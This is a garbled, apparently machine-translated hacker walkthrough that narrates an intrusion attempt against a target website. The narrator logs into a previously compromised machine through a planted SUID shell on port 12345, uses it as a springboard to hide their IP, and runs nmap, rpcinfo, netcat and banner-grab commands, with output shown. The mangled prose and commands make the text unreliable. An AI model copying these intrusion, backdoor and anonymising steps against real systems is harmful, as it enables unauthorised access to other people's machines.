Intrusion process

The purpose of this article is just to give some careless network managers a warning -Internet is fun but very fragile. When your computer provides information and service on the Internet, it will attract information and service. Symption of "curios". And the security and convenience is a pair of contradictions ... After you do a security strategy for your own network, you should make sure you are willing to use some convenient services with how much risks, of course these services - such as Rlogin, May only make you enter a password less ... first is to determine the goal - hit the big chaos to pick one, try able to success ... Oh, so on Yahoo, TAIWAN's site is small ... This is not bad, let's call it www.targe.com ... or first ping look at the situation - don't touch the wall is inferior ... C: /> ping

http://www.targe.com/

Pinging

http://www.targe.com/

[111.111.111.111] with 32 bytes of data: Reply from 111.111.111.111: bytes = 32 time = 621ms TTL = 241 Reply from 111.111.111.111: bytes = 32 time = 620ms TTL = 241 Reply from 111.111.111.111: bytes = 32 Time = 611ms TTL = 241 reply from 111.111.111.111: BYTES = 32 TIME = 591ms TTL = 241 speed still is still very fast ... then start ... first boarding a model of the machine in Taiwan - so safe, Will n't leave your own ip ... (of course, saying out the question - so "To trace it is not very difficult, I have said that a friend said, some universities in the south have been black, and the signs have indicated hackers from The discourse left by the United States, IP, changed the homepage ... Friends are traveled to make up the search, and found that IP is a service provider with free shell service in the United States ... so I applied for a shell, becomes root through a series of movements. System Log - Truth White, IP actually points to Na University itself). There is also a benefit through the springboard - if your attempt fails, the IP of Taiwan is left in the system log, such a login failed command does not cause the system administrator to pay attention ... C: /> nc ** **. *** 12345, I boarded the board, I reserved a Suid shell in the 12345 port ... well, sacrificed the sword - nmap ... # ./nmap -st -O 111.111.111.111 Starting nmap v. 2.3beta12 by fyodor (fyodor@dhp.com,

http://www.insecure.org/nmap/)

Interesting Ports on

http://www.targe.com/

(111.111.111.111): Port State Protocol Service 7 open tcp echo 9 open tcp discard 19 open tcp chargen 21 open tcp ftp 23 open tcp telnet 25 open tcp smtp 37 open tcp time 79 open tcp finger 80 open tcp http 111 open tcp sunrpc 443 open tcp https 512 open tcp exec 513 open tcp login 514 open tcp shell 515 open tcp printer 540 open tcp uucp 3306 open tcp mysql TCP Sequence Prediction: Class = random positive increments Difficulty = 55346 (Worthy challenge) No OS matches for host ( If you know what OS is running on it ...................... nmap Run Completed - 1 IP address (1 host up) scanned in 17 seconds 唔, luck is not bad, provide a lot of services, estimated leaks I don't want to go ... I just didn't judge the system type, which looks like: Port State Protocol Service 21 Open TCP FTP 25 Open TCP SMTP 79 Open TCP Finger 80 OpenRPC 512 OPEN TCP Exec 513 Open TCP Login 514 Open TCP Shell 540 Open TCP UUCP 3306 Open TCP mysql Recent RPC attack is very popular, I am afraid that it is convenient to be easy - as long as there is a vulnerability, the remote can get a rootshell ... or even the computer is completely I can easily implement it easily, huh, let's take a look at this 111 port's sunrpc. What is the mystery ... # rpcinfo -p 111.111.111.111 & 21404 # Program Vers Proto Port Service 100000 2 TCP 111 RPCBind 100000 2 UDP 111 rpcbind 咦I may have a remote overflowing vulnerability # ./nc 111.111.111.111 21 # 龙 的 东, what output is not closed, how is this? C: /> ftp 111.111.111.111 Connected to 111.111.111.111. Connection Closed by Remote Host. Oh, it seems that it is filtered out ... What should I do? Look at the 25-port is what SMTP service is run ... # ./nc 111.111.111.111 25 220 *** - *** - *** - *** ESMTP Sendmail 8.9.3 / 8.9.3; WED, 5 APR 2000 08:56:59 GMT Sendmail 8.9.3 / 8.9.3? It seems that there is no deadly vulnerability ... see what web server first ... # (echo "head / http/1.0"; echo; echo )|./nc -w 3 111.111.111 80

- // Ietf // DTD HTML 2.0 // en ">